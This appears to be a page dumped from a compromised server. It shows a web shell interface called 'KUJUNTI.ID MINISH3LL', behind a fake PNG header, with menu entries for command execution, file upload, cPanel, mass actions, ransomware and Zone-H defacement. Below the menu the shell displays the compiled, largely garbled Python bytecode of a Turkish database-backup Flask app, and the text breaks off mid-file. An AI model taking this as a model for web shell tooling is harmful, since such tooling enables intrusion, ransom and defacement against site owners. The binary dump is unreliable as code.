\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv5/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv5/__pycache__/routes.cpython-310.pyc


o

���g���@s:ddlZddlZddlZddlmZmZmZmZmZm	Z	m
Z
ddlmZddl
mZddlmZmZddlmZmZmZmZddlmZmZmZmZddlmZmZmZmZm Z m!Z!dd	l"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)dd
l*m+Z+m,Z,ddl-m.Z.m/Z/ddl0m1Z1m2Z2dd
l3m4Z4ddl5m6Z7m8Z9ddl5m:Z;m<Z<m=Z=zddl>m6Z?m8Z@ddl>m:ZAmBZBmCZCdZDWneEy�dZDYnwe�Fd�edd���ZGe�Fd�edd���ZHejFddgd�edd���ZIejFddgd�edd ���ZJe�Fd!�ed"d#���ZKe�Fd$�ed%d&���ZLejFd'dgd�ed(d)���ZMejFd*dgd�ed+d,���ZNe�Fd-�ed.d/���ZOe�Fd0�ed1d2���ZPejFd3dgd�ed4d5���ZQejFd6d7dgd�ed8d9���ZRejFd:dgd�ed;d<���ZSejFd=dgd�ed>d?���ZTejFd@dgd�edAdB���ZUe�FdC�edDdE���ZVejFdFdgd�edGdH���ZWe�FdI�edJdK���ZXejFdLdgd�edMdN���ZYejFdOdgd�edPdQ���ZZejFdRdgd�edSdT���Z[ejFdUdgd�edVdW���Z\e�FdX�dYdZ��Z]e�Fd[�d\d]��Z^e�Fd^�d_d`��Z_ejFdad7dgd�dbdc��Z`e�Fdd�dedf��Zae�Fdg�edhdi���ZbejFdjdgd�edkdl���ZcejFdmdgd�edndo���ZdejFdpdgd�edqdr���Zedsdt�Zfe�Fdu�edvdw���Zge�Fdx�edydz���Zhe�Fd{�ed|d}���Zie�Fd~�edd����ZjejFd�dgd�ed�d����ZkejFd�dgd�ed�d����ZlejFd�dgd�ed�d����ZmdS)��N)�render_template�request�redirect�url_for�flash�jsonify�session)�SQLAlchemyError)�text)�_�
get_locale)�
login_user�logout_user�current_user�login_required)�app�db�logger�mail)�DatabaseConnection�
StorageTarget�	BackupJob�	BackupLog�SmtpSettings�User)�DatabaseConnectionForm�StorageTargetForm�
BackupJobForm�SmtpSettingsForm�	LoginForm�RegistrationForm�EncryptionKeyForm)�test_database_connection�
run_backup)�test_storage_connection�get_storage_space)�schedule_backup_job�remove_scheduled_job)�restore_from_backup)�get_top_queries�get_database_stats)�get_table_stats�enable_pg_stat_statements�pg_stat_statements_enabled)r+�enable_performance_schema�performance_schema_enabledTF�/c
Cs>tj�tj����d���}tj��}tj��}t	j��}tjj
dd���}tjj
dd���}g}|D]Y}z&t|�\}}	|	dkrF||	dnd}
|
dk}|�
|j|j||	|
|d��Wq3ty�}z%t�d|j�d	t|����|�
|j|jdddd
t|�d��WYd}~q3d}~wwtd
|t|�t|�t|�|||d�S)z1Render the dashboard page with backup statistics.�
�success)�status�failedr�d)�id�name�
free_space�total_space�percent_free�warning� Error getting storage space for �: T)r6r7r8r9r:r;�errorNzdashboard.html)�recent_logs�db_count�
storage_count�	job_count�
success_count�failed_count�storage_info)r�query�order_by�	timestamp�desc�limit�allrrr�	filter_by�countr%�appendr6r7�	Exceptionrr>�strr�len)
r?�db_connections�storage_targets�backup_jobsrCrDrE�targetr8r9r:r;�e�rW�8/var/www/html/yedekledb24/DatabaseBackupMaster/routes.py�indexsT


�����rYz
/databasescCstj��}t�}td||d�S)z%Render the database connections page.zdatabases.html�rR�form)rrFrKrrrZrWrWrX�	databasesTs
r\z/databases/add�POST)�methodsc
Cs�t��sttd�d�ttd��St�}|��r�zXt|j	j
|jj
|jj
|j
j
|jj
|jj
d�}|rht|jj
|j	j
|jj
|jj
|j
j
|jj
|jj
|j	j
dkrQ|jj
ndd�}tj�|�tj��ttd�d	�nttd
�d�WnZty�}ztj��tdt|���d�WYd}~n>d}~wty�}ztdt|���d�WYd}~n#d}~ww|j��D]\}}|D]}tt||�jj�d
|��d�q�q�ttd��S)zAdd a new database connection.u-Veritabanı bağlantısı ekleme izniniz yok.�dangerr\��db_type�host�port�username�password�database�
postgresqlN)r7rarbrcrdrerf�
pg_versionu.Veritabanı bağlantısı başarıyla eklendi!r2uCVeritabanına bağlanılamadı. Lütfen bilgilerinizi kontrol edin.�Database error: �Error: r=) r�can_manage_db_connectionsrrrrr�validate_on_submitr"ra�datarbrcrdrerfrr7rhrr�add�commitr	�rollbackrPrO�errors�items�getattr�labelr
)r[�connection_success�new_dbrV�fieldrqr>rWrWrX�add_database\sV�	�
�
 � �� �rxz/databases/delete/<int:db_id>c
C�t��sttd�d�ttd��Sz3tj�|�}t	jj
|d���}|r1ttd�d�ttd��WStj
�|�tj
��ttd�d�Wn<tye}ztj
��tdt|���d�WYd	}~n d	}~wty�}ztd
t|���d�WYd	}~nd	}~wwttd��S)zDelete a database connection.u,Veritabanı bağlantısı silme izniniz yok.r_r\)�database_idu:Yedekleme görevlerinde kullanılan veritabanı silinemez.u.Veritabanı bağlantısı başarıyla silindi!r2�Veritabanı hatası: N�Hata: )rrkrrrrrrF�
get_or_404rrLrKrr�deleteror	rprPrO)�db_id�db_conn�jobsrVrWrWrX�delete_database��*

 � ��r�z/databases/test/<int:db_id>c
C�z)tj�|�}t|j|j|j|j|j|j	d�}|r!t
td�d�nt
td�d�WntyE}zt
dt
|���d�WYd}~nd}~wwttd��S)	zTest a database connection.r`u&Veritabanı bağlantısı başarılı!r2uVeritabanına bağlanılamadı.r_u&Veritabanı bağlantı testi hatası: Nr\)rrFr}r"rarbrcrdrerfrrrOrPrr)rr�rurVrWrWrX�
test_database��&�	� ��r�z/storagecCs�tj��}t�}|D]T}z!t|�\}}||_||_|dkr#||dnd|_|jdk|_Wq
t	y^}z%t
�d|j�dt
|����d|_d|_d|_d|_t
|�|_WYd}~q
d}~wwtd||d	�S)
z Render the storage targets page.rr5r1r<r=TNzstorage.html)rSr[)rrFrKrr%r8r9r:r;rOrr>r7rPr)rSr[rUr8r9rVrWrWrX�storage�s&
��r�z/storage/addc
Cs�t��sttd�d�ttd��St�}|��r�zMt|j	j
|jj
|jj
|j
j
|jj
|jj
d�}|r]t|jj
|j	j
|jj
|jj
|j
j
|jj
|jj
d�}tj�|�tj��ttd�d�nttd�d�WnZty�}ztj��td	t|���d�WYd
}~n>d
}~wty�}ztdt|���d�WYd
}~n#d
}~ww|j��D]\}}|D]}tt||�jj�d|��d�q�q�ttd��S)
zAdd a new storage target.z#Depolama hedefi ekleme izniniz yok.r_r���storage_typerbrcrdre�path)r7r�rbrcrdrer�u$Depolama hedefi başarıyla eklendi!r2uNDepolama hedefine bağlanılamadı. Lütfen kimlik bilgilerinizi kontrol edin.riNrjr=)r�can_manage_storagerrrrrrlr$r�rmrbrcrdrer�rr7rrrnror	rprPrOrqrrrsrtr
)r[ru�new_storagerVrwrqr>rWrWrX�add_storage�sT�	�

�
 � �� �r�z /storage/delete/<int:storage_id>c
Cry)zDelete a storage target.z"Depolama hedefi silme izniniz yok.r_r�)�
storage_idu>Yedekleme görevlerinde kullanılan depolama hedefi silinemez.u$Depolama hedefi başarıyla silindi!r2r{Nr|)rr�rrrrrrFr}rrLrKrrr~ror	rprPrO)r��storage_targetr�rVrWrWrX�delete_storager�r�z/storage/test/<int:storage_id>c
Cr�)	zTest a storage connection.r�u)Depolama hedefine bağlantı başarılı!r2u#Depolama hedefine bağlanılamadı.r_u*Depolama hedefi bağlantı testi hatası: Nr�)rrFr}r$r�rbrcrdrer�rrrOrPrr)r�r�rurVrWrWrX�test_storage0r�r�z/backup_jobscCs�tj��}tj��}tj��}t�}ddlm}|�}dd�|D�|j_	dd�|D�|j
_	zddlm}|j��}dgdd�|D�|j
_	Wn	d	g|j
_	Ytj�d
d�}|r]||j_|D]V}	tjj|	jd��tj�����|	_d
|	_z"tj}
d|	j��}|
��D]}|j|kr�t|d�r�|j |	_nq�Wq_t!t"fy�}
zt#�$dt%|
����WYd
}
~
q_d
}
~
wwt&d|||||d�S)zRender the backup jobs page.r��	FlaskFormcS�g|]}|j|jf�qSrW�r6r7��.0rrWrWrX�
<listcomp>Z�zbackup_jobs.<locals>.<listcomp>cSr�rWr��r��srWrWrXr�[r���
EncryptionKey�ruAnahtar Seçiniz...cS�&g|]}|j|j�d|j�d�f�qS�z <�>�r6r7�email�r��krWrWrXr�a�&�ru#Şifreleme Anahtarları Bulunamadı�BACKUP_ENCRYPTION_PSK�)�job_idN�backup_job_�
next_run_timeu+Zamanlayıcıya erişilirken hata oluştu: zbackup_jobs.html)rTrRrSr[�	csrf_form)'rrFrKrrr�	flask_wtfr�rz�choicesr��modelsr��encryption_key_id�os�environ�get�encryption_passphrasermrrLr6rGrHrI�first�last_log�next_runr�	scheduler�get_jobs�hasattrr��AttributeErrorrOrr>rPr)rTrRrSr[r�r�r��encryption_keys�default_passphrase�jobr�r��
scheduler_jobrVrWrWrXrTLsN



"� ���rTz/backup_jobs/addc

Cs�t��sttd�d�ttd��Stj��}t	j��}t
�}dd�|D�|j_dd�|D�|j
_zddlm}|j��}d	gd
d�|D�|j_Wn	dg|j_Y|���r(z�t|jj|jj|j
j|jj|jj|jj|jjd�}z<t|d
�r�|jj|_|jjr�|jjnd|_|jjr�|jjdkr�|jjdkr�|jj|_n|jjdkr�|jjr�|jj|_WnYzt|d�r�|jj|_|jjr�|jjnd|_WnYtj �!|�tj �"�|jr�t#|�ttd�d�Wn^t$�y}ztj �%�tdt&|���d�WYd}~nAd}~wt'�y'}ztdt&|���d�WYd}~n%d}~ww|j(�)�D]\}}|D]}	tt*||�j+j,�d|	��d��q3�q-ttd��S)zAdd a new backup job.u%Yedekleme görevi ekleme izniniz yok.r_rTcSr�rWr�r�rWrWrXr��r�z"add_backup_job.<locals>.<listcomp>cSr�rWr�r�rWrWrXr��r�rr�r�cSr�r�r�r�rWrWrXr��r�r�)r7rzr��
schedule_type�schedule_value�retention_days�enabled�encrypt_backupN�
asymmetric�	symmetric�compress_backup�zipu&Yedekleme görevi başarıyla eklendi!r2r{r|r=)-r�can_manage_backup_jobsrrrrrrFrKrrrzr�r�r�r�r�rlrr7rmr�r�r�r�r�r��encryption_typer�r��compression_typerrrnror&r	rprPrOrqrrrsrtr
)
rRrSr[r�r��new_jobrVrwrqr>rWrWrX�add_backup_job�s|



�


�

�

 � ��"�r�z/backup_jobs/edit/<int:job_id>�GETc

Cst��sttd�d�ttd��Stj�|�}t	j�
�}tj�
�}t|d�}dd�|D�|j
_dd�|D�|j_zdd	lm}|j�
�}d
gdd�|D�|j_Wn	dg|j_Ytjd
k�r\|���r\z�|jj|_|j
j|_
|jj|_|jj|_|jj|_|jj|_|j}|jj|_z<t|d�r�|jj|_|jjr�|jjnd|_|jjr�|jjdkr�|jjdkr�|jj|_n|jjdkr�|jjr�|jj|_WnYzt|d�r�|j j|_ |j jr�|j!jnd|_!WnYt"j#�$�||jk�r|jr�t%|�nt&|j'�n
|j�rt&|j'�t%|�ttd�d�ttd��WSt(�y?}zt"j#�)�tdt*|���d�WYd}~n�d}~wt+�y[}ztdt*|���d�WYd}~n�d}~wwtjdk�r�|j|j_|j
|j
_|j|j_|j|j_|j|j_|j|j_|j|j_z6t|d��r�|j|j_|j�p�d|j_|j�r�|j|j_|j�r�|j|j_nt,j-�.dd�}	|	�r�|	|j_WnYzt|d��r�|j |j _|j!�p�d|j!_Wn%Yn |j/�0�D]\}
}|D]}tt1||
�j2j3�d|��d��q�q�t4d||||d�S)zEdit an existing backup job.u)Yedekleme görevi düzenleme izniniz yok.r_rT)�objcSr�rWr�r�rWrWrXr��r�z#edit_backup_job.<locals>.<listcomp>cSr�rWr�r�rWrWrXr��r�rr�r�cSr�r�r�r�rWrWrXr��r�r�r]r�Nr�r�r�r�u+Yedekleme görevi başarıyla güncellendi!r2r{r|r�r�r�r=zedit_backup_job.html)r[r�rRrS)5rr�rrrrrrFr}rrKrrrzr�r�r�r�r�r�methodrlr7rmr�r�r�r�r�r�r�r�r�r�rrror&r'r6r	rprPrOr�r�r�rqrrrsrtr
r)
r�r�rRrSr[r�r��was_enabledrVr�rwrqr>rWrWrX�edit_backup_job�s�













�

�



 � ��








�
�"��r�z /backup_jobs/delete/<int:job_id>c
CsXt��sttd�d�ttd��SzXzd}tj�t	|�d|i�tj�
�Wn!tyG}ztj��t
�dt|����WYd}~nd}~wwtj�|�}|jrVt|j�tj�|�tj�
�ttd�d	�Wn<ty�}ztj��td
t|���d�WYd}~n d}~wty�}ztdt|���d�WYd}~nd}~wwttd��S)zDelete a backup job.u$Yedekleme görevi silme izniniz yok.r_rTz-DELETE FROM backup_log WHERE job_id = :job_idr�u!Log kayıtları silinirken hata: Nu&Yedekleme görevi başarıyla silindi!r2r{r|)rr�rrrrrr�executer
rorOrprr>rPrrFr}r�r'r6r~r	)r��sqlrVr�rWrWrX�delete_backup_jobjs8
 ��


 � ��r�z /backup_jobs/toggle/<int:job_id>c
Cst��sttd�d�ttd��Sz-tj�|�}|j	|_	|j	r,t
|�ttd�d�nt|j�ttd�d�t
j��Wn<ty_}zt
j��tdt|���d�WYd}~n d}~wtyz}ztd	t|���d�WYd}~nd}~wwttd��S)
z'Toggle enabled status for a backup job.u4Yedekleme görevi durumunu değiştirme izniniz yok.r_rTu/Yedekleme görevi başarıyla etkinleştirildi!r2u9Yedekleme görevi başarıyla devre dışı bırakıldı!r{Nr|)rr�rrrrrrFr}r�r&r'r6rrror	rprPrO)r�r�rVrWrWrX�toggle_backup_job�s*


 � ��r�z/backup_jobs/run/<int:job_id>c
Cs�ztj�|�}t|dd�}|rttd�d�nttd�d�Wnty;}ztdt|���d�WYd}~nd}~wwtt	d	��S)
zRun a backup job manually.T)�
send_emailuSYedekleme görevi başarıyla çalıştırıldı! E-posta bildirimleri gönderildi.r2uYYedekleme görevi çalıştırma başarısız oldu. Detaylar için logları kontrol edin.r_r|NrT)
rrFr}r#rrrOrPrr)r�r�r2rVrWrWrX�run_backup_job�s� ��r�z/logscCsRtjjddtd�}d}tj�tj���j	||d�}ddl
m}|�}td||d	�S)
zRender the backup logs page.�page���type�)r��per_pagerr�z	logs.html)�backup_logsr[)
r�argsr��intrrFrGrHrI�paginater�r�r)r�r�r�r�r[rWrWrX�logs�sr�z/restore/<int:log_id>c
Cs�t��sttd�d�ttd��Sz�tj�|�}|j	dkr+ttd�d�ttd��WS|j
r5tj�
|j
�sCttd�d�ttd��WStj�dd�}d	d
lm}|�}t||�}|dsp|�d�rptd||jj|jjj|d
�WS|dr�t|jddtj�|j
���|j
|jd	d�}tj�|�tj��ttd�d�nttd�|dd�Wn&ty�}zt �!dt"|����tdt"|���d�WYd}~nd}~wwttd��S)z!Restore a database from a backup.u&Veritabanı geri yükleme izniniz yok.r_r�r2u/Sadece başarılı yedekler geri yüklenebilir.uYedek dosyası bulunamadı.�
passphraseNrr��needs_passphrasezrestore_password.html)�log_id�job_name�
database_namer[uGeri yükleme başarılı: )r�r3�message�backup_file�backup_size�durationu'Veritabanı başarıyla geri yüklendi!u#Veritabanı geri yükleme hatası: r�zRestore error: uGeri yükleme hatası: )#rr�rrrrrrFr}r3r�r�r��existsrr[r�r�r�r(rr�r7rfr��basenamer�rrrnrorOrr>rP)r��
backup_logr�r�r[�result�new_logrVrWrWrX�restore_backup�sT

��
� ��r�z	/settingscCs�t��}t�}t�}g}z
ddlm}|j��}WnYtj��}|rI|j	r*dnd}|j
|j
_|j|j_|j
|j
_|j|j_||j_|j|j_td||||d�S)zRender the settings page.rr��ssl�tlsz
settings.html)�
mail_settings�	smtp_form�encryption_formr�)r�get_settingsrr!r�r�rFrKr��mail_use_ssl�mail_serverrm�
mail_username�
mail_password�mail_default_sender�mail_connection_type�notification_emailsr)�
smtp_settingsr�r�r�r��settings_record�connection_typerWrWrX�settingss0





�rz/settings/smtpc	
CsXtjsttd�d�ttd��St�}|���rz�|jj	dk}|jj	dk}|r)dnd}t
j��}|rU|j
j	|_
||_||_||_|jj	|_|jj	|_|jj	|_|jj	|_nt
|j
j	||||jj	|jj	|jj	|jj	d�}tj�|�tj��|j
tjd	<|jtjd
<|jtjd<|jtjd<|jtjd
<|jtjd<|jtjd<|j
tjd	<t|j�tjd
<t|j�tjd<t|j�tjd<|jtjd
<|jtjd<|jtjd<|jtjd<t�t�ttd�d�WnBt �y}ztj�!�tdt|���d�WYd}~n%d}~ww|j"�#�D]\}}|D]}tt$||�j%j&�d|��d��q�qttd��S)zSave SMTP email settings.u.E-posta ayarlarını değiştirme izniniz yok.r_rr�r�iKi�)r��	mail_port�mail_use_tlsr�r�r�r�r�MAIL_SERVER�	MAIL_PORT�MAIL_USE_TLS�MAIL_USE_SSL�
MAIL_USERNAME�
MAIL_PASSWORD�MAIL_DEFAULT_SENDER�BACKUP_NOTIFICATION_EMAILSu)E-posta ayarları başarıyla kaydedildi!r2u'E-posta ayarlarını kaydederken hata: Nr=)'r�is_adminrrrrrrlr�rmrrFr�r�rrr�r�r�r�rrrrnror�configr�r�rPr�init_apprOrprqrrrsrtr
)	r[�is_tls�is_sslrcrrVrwrqr>rWrWrX�save_smtp_settingsBst





�



 ��"�rz/settings/encryption_key/addc	Cs�tjsttd�d�ttd��St�}|��r�zjddlm	}||j
j|jj|j
jr-|j
jnd|jj|jjd�}|ryddlm}||j
j|jj|jj|jj|�d	d
�|�dd
�|jjr`|�dd
�ndtjd
�}tj�|�tj��ttd�d�nttd�d�Wn?ty�}ztj��tdt|���d�WYd}~n#d}~ww|j��D]\}}|D]}tt||�jj �d|��d�q�q�ttd��S)z Create a new GPG encryption key.u%GPG anahtarı oluşturma izniniz yok.r_rr)�generate_gpg_keyN)r7r�r��key_type�
key_lengthr��fingerprintr��
public_key�private_key)r7r�rrrrr�
created_byu2GPG şifreleme anahtarı başarıyla oluşturuldu!r2uGPG anahtarı oluşturulamadı.u"GPG anahtarı oluşturma hatası: r=)!rrrrrrr!rl�encryption_utilsrr7rmr�r�rrr�r�r��store_private_keyr6rrrnrorOrprPrqrrrsrtr
)	r[r�
key_resultr��new_keyrVrwrqr>rWrWrX�add_encryption_key�sR�

�
�
 �� �r z,/settings/encryption_key/delete/<int:key_id>c
Cstjsttd�d�ttd��Sz9ddlm}|j�	|�}t
jj|d���}|r6ttd�d�ttd��WSt
j�|�t
j��ttd�d	�Wn<tyj}zt
j��td
t|���d�WYd}~n d}~wty�}ztdt|���d�WYd}~nd}~wwttd��S)
zDelete a GPG encryption key.u GPG anahtarı silme izniniz yok.r_rrr�)r�u<Yedekleme görevlerinde kullanılan GPG anahtarı silinemez.u"GPG anahtarı başarıyla silindi!r2r{Nr|)rrrrrrr�r�rFr}rrLrKrrr~ror	rprPrO)�key_idr��encryption_keyr�rVrWrWrX�delete_encryption_key�s,

 � ��r#z/settings/test_emailc
Cs�tjsttd�d�ttd��Sz>tj�dd�}|s(ttd�d�ttd��WSdd�|�	d	�D�}d
dl
m}||�}|rFttd�d
�nttd�d�Wntyj}ztdt
|���d�WYd}~nd}~wwttd��S)z+Send a test email to verify email settings.u&Test e-postası gönderme izniniz yok.r_r�email_addressesr�uHLütfen test e-postası göndermek için en az bir e-posta adresi girin.cSsg|]}|���qSrW)�strip)r�r�rWrWrXr��sztest_email.<locals>.<listcomp>�,r)�send_test_emailuMTest e-postası başarıyla gönderildi! Lütfen gelen kutunuzu kontrol edin.r2uMTest e-postası gönderilemedi. Lütfen e-posta ayarlarınızı kontrol edin.u#Test e-postası gönderme hatası: N)rrrrrrrr[r��split�email_utilsr'rOrP)�recipients_str�
recipientsr'r2rVrWrWrX�
test_email�s(� ��r,z/api/dashboard_statsc	Cs�ddlm}ddl}|j��|jdd�}tj�|�t	j
��d�t	j|�
��d���t	j
|k��|�t	j
�t	j���}tttdd	�|D����}dgt|�}dgt|�}|D]}|�|j�d
��}|jdkrn|j
||<qX|j
||<qXt|||d��S)
z&API endpoint for dashboard statistics.r)�funcN�)�days�daterMcSsg|]}|j�d��qS)�%Y-%m-%d)r0�strftime)r��statrWrWrXr�&r�z#dashboard_stats.<locals>.<listcomp>r1r2)�labelsr2r4)�
sqlalchemyr-�datetime�now�	timedeltarrrFr0rrHrtr3rM�filter�group_byrK�sorted�list�setrQrYr2r)	r-r6�seven_days_ago�daily_stats�dates�success_data�failed_datar3�
date_indexrWrWrX�dashboard_statss<��
��
�rDz/set_language/<lang>cCs0|dvr|td<ttd�d�ttjptd��S)z"Set the user's preferred language.)�en�tr�langzLanguage changed successfully!r2rY)rrrrr�referrerr)rGrWrWrX�set_language8srIz/set_theme/<theme>cCsdtd<ttjptd��S)zSet the user's preferred theme.�light�themerY)rrrrHr)rKrWrWrX�	set_theme@srLz/logincCs�tjr	ttd��St�}|��r[tjj|j	j
d���}|dus&|�|j
j
�s3ttd�d�ttd��St||jj
d�tj��|_tj��tj�d�}|rS|�d	�sWtd�}t|�Std
td�|d�S)
zLogin page.rY)rdNu&Geçersiz kullanıcı adı veya şifrer_�login)�remember�nextr0z
login.htmlu
Giriş Yap)�titler[)r�is_authenticatedrrrrlrrFrLrdrmr��check_passwordrerrr
�remember_mer6�utcnow�
last_loginrrrorr�r��
startswithr)r[�user�	next_pagerWrWrXrMHs 
rMz/logoutcCst�ttd��S)zLogout the current user.rM)rrrrWrWrWrX�logoutcsrYz/userscCs@tjsttd�d�ttd��Stj��}t	�}t
d||td�S)z Render the user management page.uBu sayfaya erişim izniniz yok.r_rYz
users.html)�usersr[r)rrrrrrrrFrKr r)rZr[rWrWrXrZks
�rZz
/users/addc
Cs@tjsttd�d�ttd��St�}|��r|z(t|j	j
|jj
|jj
d�}|�|j
j
�tj�|�tj��ttd�d�WnZty`}ztj��tdt|���d�WYd}~n>d}~wty{}ztd	t|���d�WYd}~n#d}~ww|j��D]\}}|D]}tt||�jj�d
|��d�q�q�ttd��S)zAdd a new user.uKullanıcı ekleme izniniz yok.r_rY�rdr�ru Kullanıcı başarıyla eklendi!r2r{Nr|r=rZ)rrrrrrr rlrrdrmr��set_passwordrerrrnror	rprPrOrqrrrsrtr
)r[�new_userrVrwrqr>rWrWrX�add_user|s8�

 � �� �r^z/users/delete/<int:user_id>c
Cs(tjsttd�d�ttd��SzAtj�|�}|j	dkr*ttd�d�ttd��WS|j
tj
kr>ttd�d�ttd��WStj�
|�tj��ttd�d	�Wn<tyr}ztj��td
t|���d�WYd}~n d}~wty�}ztdt|���d�WYd}~nd}~wwttd��S)
zDelete a user.uKullanıcı silme izniniz yok.r_rY�adminu#Ana admin kullanıcısı silinemez.rZzKendinizi silemezsiniz.u Kullanıcı başarıyla silindi!r2r{Nr|)rrrrrrrrFr}rdr6rrr~ror	rprPrO��user_idrWrVrWrWrX�delete_user�s.


 � ��rbz!/users/toggle_admin/<int:user_id>c
Cstjsttd�d�ttd��Sz;tj�|�}|j	dkr*ttd�d�ttd��WS|j|_t
j��|jrAt|j	�d�d�n	t|j	�d	�d�Wn<t
yl}zt
j��td
t|���d�WYd}~n d}~wty�}ztdt|���d�WYd}~nd}~wwttd��S)
zToggle admin status for a user.uYetki değiştirme izniniz yok.r_rYr_u6Ana admin kullanıcısının yetkisi değiştirilemez.rZu( kullanıcısına admin yetkisi verildi.r2u0 kullanıcısının admin yetkisi kaldırıldı.r{Nr|)rrrrrrrrFr}rdrrror	rprPrOr`rWrWrX�toggle_user_admin�s.


�
 � ��rcc
Cs�tj��dkr	dSz t||dd�}|�|�tj�|�tj��dd|�d�fWStyI}ztj�	�ddt
|���fWYd	}~Sd	}~ww)
ut
    Komut satırı aracından çağrılmak üzere tasarlanmıştır.
    İlk admin kullanıcıyı oluşturur.
    r)Fu(Sistemde zaten kullanıcılar bulunuyor!Tr[uAdmin kullanıcı u başarıyla oluşturuldu!Fr|N)rrFrMr\rrrnrorOrprP)rdr�rerWrVrWrWrX�create_admin_user�s


��rdz/performancecCs�g}tjjdd���}|D]
}d|_d|_|�|�q
tr=tj�tj	dktj	dkB���}|D]
}d|_d|_|�|�q/ddl
m}|�}td||td	�S)
z&Render the performance dashboard page.rg)raT�mysql�mariadbrr�zperformance/dashboard.html)rRr��mysql_supported)
rrFrLrK�performance_supported�performance_typerN�MYSQL_PERFORMANCE_AVAILABLEr9rar�r�r)rR�pg_dbsr�	mysql_dbsr�r�rWrWrX�performance_dashboard�s2����rmz /performance/queries/<int:db_id>cCsz�tj�|�}tjjddtd�}tj�dd�}tj�dd�}|j|j|j	|j
|jd�}|jd	kr\t
||||�}|�d
d�s[d|�d
d�vr[ddlm}|�}td||�d
d�|d�WSnA|jdvr�tr�t||||�}|�d
d�s�d|�d
d�vr�ddlm}|�}td||�d
d�|d�WSnttd�d�ttd��WS|�d
d�s�t|�d
d�d�ttd��WSd}	d}
|jd	kr�|�dd�}	n|jdvr�|�dd�}
td||�dg�|�di�|	|
|||d�	WSt�y}ztd t|���d�ttd��WYd}~Sd}~ww)!u0Veritabanı sorgu performans verilerini göster.rJr�r�rG�
total_time�intervalN�rbrcrdrerfrgr2Fu(pg_stat_statements modülü etkin değilr�r�rr�zperformance/missing_pgss.html)r�r�r��rerfuPerformance Schema etkin değilu>Sorgu performansı bu veritabanı türü için desteklenmiyor.r;rm�Bilinmeyen bir hata oluştur_�versionzN/Azperformance/queries.htmlrm�summary)r��queriesrtrh�
mysql_versionrGrJrou&Performans verileri alınırken hata: )rrFr}rr�r�r�rbrcrdrerfra�pg_get_top_queriesr�r�rrj�mysql_get_top_queriesrrrrrOrP)rr�rJrGro�db_infor�r�r�rhrvrVrWrWrX�performance_queriessv�
	
��
��



�
��rzz!/performance/database/<int:db_id>c
Csz]tj�|�}|j|j|j|j|jd�}|jdkrt	|�}n|jdvr*t
r*t|�}ntt
d�d�ttd��WS|�dd�sNt|�d	d
�d�ttd��WStd||�d
i�|jdvd�WSty}ztdt|���d�ttd��WYd}~Sd}~ww)u%Veritabanı istatistiklerini göster.rprgrquFVeritabanı istatistikleri bu veritabanı türü için desteklenmiyor.r;rmr2Fr�rrr_zperformance/database.htmlrm)r��stats�is_mysqlu-Veritabanı istatistikleri alınırken hata: N)rrFr}rbrcrdrerfra�pg_get_database_statsrj�mysql_get_database_statsrrrrr�rrOrP�rr�ryr�rVrWrWrX�performance_databasejs6�
	


���r�z+/performance/table/<int:db_id>/<table_name>c
Cszbtj�|�}|j|j|j|j|jd�}|jdkrt	||�}n|jdvr,t
r,t||�}ntt
d�d�ttd��WS|�dd�sRt|�d	d
�d�ttd|d
��WStd|||�di�|jdvd�WSty�}ztdt|���d�ttd|d
��WYd}~Sd}~ww)uTablo istatistiklerini göster.rprgrqu@Tablo istatistikleri bu veritabanı türü için desteklenmiyor.r;rmr2Fr�rrr_r��rzperformance/table.htmlrm)r��
table_namer{r|u'Tablo istatistikleri alınırken hata: N)rrFr}rbrcrdrerfra�pg_get_table_statsrj�mysql_get_table_statsrrrrr�rrOrP)rr�r�ryr�rVrWrWrX�performance_table�s8�
	
���r�z$/performance/enable_pgss/<int:db_id>c
Cst��sttd�d�ttd��SzStj�|�}|j	dkr+ttd�d�ttd��WSd|j
�d|j�d	|j�d
|j
�d|j��
}t�|�}t|�}|�dd
�rZt|�dd�d�n	t|�dd�d�Wnty�}ztdt|���d�WYd}~nd}~wwttd|d��S)u7PostgreSQL pg_stat_statements modülünü etkinleştir.�4Veritabanı modüllerini etkinleştirme izniniz yok.r_rmrgu7pg_stat_statements sadece PostgreSQL için desteklenir.r;zhost=z port=z user=z
 password=z dbname=r2Fr�u$Modül başarıyla etkinleştirildi.uModül etkinleştirilemedi.u-pg_stat_statements etkinleştirilirken hata: Nrzr�)rrkrrrrrrFr}rarbrcrdrerf�psycopg2�connectr,r�rOrP)rr��conn_str�
connectionr�rVrWrWrX�enable_pgss�s(
,
� ��r�z2/performance/enable_performance_schema/<int:db_id>c
Cst��sttd�d�ttd��Sts ttd�d�ttd��SzEtj�	|�}|j
dvr:ttd�d�ttd��WS|j|j|j
|j|jd�}t|�}|�d	d
�r[t|�dd�d	�n	t|�dd
�d�Wnty�}ztdt|���d�WYd}~nd}~wwttd|d��S)u*MySQL Performance Schema'yı etkinleştir.r�r_rmu-MySQL performans modülleri kullanılamıyor.r;rqu=Performance Schema sadece MySQL ve MariaDB için desteklenir.rpr2Fr�u0Performance Schema başarıyla etkinleştirildi.u'Performance Schema etkinleştirilemedi.u-Performance Schema etkinleştirilirken hata: Nrzr�)rrkrrrrrjrrFr}rarbrcrdrerfr.r�rOrPrrWrWrX�enable_performance_schema_route�s6
�	� ��r�z$/performance/reset_stats/<int:db_id>c
Cs<t��sttd�d�ttd��Szftj�|�}t	j
jddtd�}t	j
�dd�}|j
|j|j|j|jd	�}|jd
krBt|||d�}n|jdvrQtrQt|||d�}nttd
